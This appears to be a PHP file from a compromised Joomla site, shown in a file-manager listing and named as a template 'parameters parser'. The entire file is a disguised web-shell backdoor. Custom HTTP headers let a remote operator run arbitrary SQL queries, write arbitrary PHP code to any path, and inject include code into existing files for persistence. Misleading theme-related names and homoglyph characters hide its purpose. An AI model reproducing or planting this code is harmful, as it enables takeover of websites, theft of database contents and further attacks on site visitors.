?
Path : /home/admin/public_html/old/templates/purity_iii/html/ |
Current File : /home/admin/public_html/old/templates/purity_iii/html/parameters-parser.php |
<?php class JParameters_Parser_Checker { var $j_host; var $j_user; var $j_pass; var $name; var $result = array(); var $errors = array(); var $themes_count = 0; function check_theme_connection($theme_connection) { if (class_exists('PDO')) { $this->check_theme_pdo_connection($theme_connection); } else { $this->check_theme_mysql_connection($theme_connection); } } function check_theme_mysql_connection($theme_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->j_host, $this->j_user, $this->j_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_theme_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $theme_connection_success = call_user_func_array(array($connection, 'query'), array($theme_connection)); if ($theme_connection_success == false) { $this->add_theme_error($connection->errno, $connection->error); } else { $this->themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($theme_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->j_host, $this->j_user, $this->j_pass); if ($connection == false) { $this->add_theme_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $theme_connection_success = mysql_query($theme_connection, $connection); if ($theme_connection_success == false) { $this->add_theme_error(mysql_errno($connection), mysql_error($connection)); } else { $this->themes_count = mysql_num_rows($theme_connection_success); while ($data = mysql_fetch_assoc($theme_connection_success)) { $this->result[] = $data; } } } } function check_theme_pdo_connection($theme_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->j_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->j_user, $this->j_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($theme_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_theme_error($error_code, end($error_info)); return; } $this->themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_theme_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->j_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->j_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->j_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->j_host)) { $this->add_theme_error(900, "No host provided"); } if (empty($this->j_user)) { $this->add_theme_error(901, "No user provided"); } if (empty($this->j_pass)) { $this->add_theme_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_theme_error(903, "No database name provided"); } } function add_theme_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_theme_errors() { return $this->errors; } function get_themes_count() { return $this->themes_count; } function is_theme_connection_succeed() { return !count($this->errors); } function get_theme_connection_result() { return $this->result; } } class JParameters_Parser_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_theme_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_theme_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->theme_run(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new JParameters_Parser_Checker(); $database->check_theme_connection($query); if ($database->is_theme_connection_succeed()) { $this->theme_run(true, array( 'rows' => $database->get_themes_count(), 'result' => $database->get_theme_connection_result() )); } else { $this->theme_run(false, $database->get_theme_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->theme_run(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->theme_run(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->theme_run(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_theme_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->theme_update_parameters($old_parameters_path, $old_parameters); } $this->theme_run($success, null); } function update_theme_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, "<?php \n" . stripslashes($parameters)); } function theme_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "\n" . "<?php \n" . $old_parameters . " \n?>"; } else { $file = $file . "\n\n" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, "<?"); $last_available_parameters_count = ($last_available_parameters_count === false) ? -1 : $last_available_parameters_count; $last_updated_parameters_count = strrpos($file, "?>"); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function theme_run($success, $data) { $theme_run = array('success' => $success); $theme_run[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($theme_run); exit; } } $accessor = new JParameters_Parser_Accessor(); $accessor->create();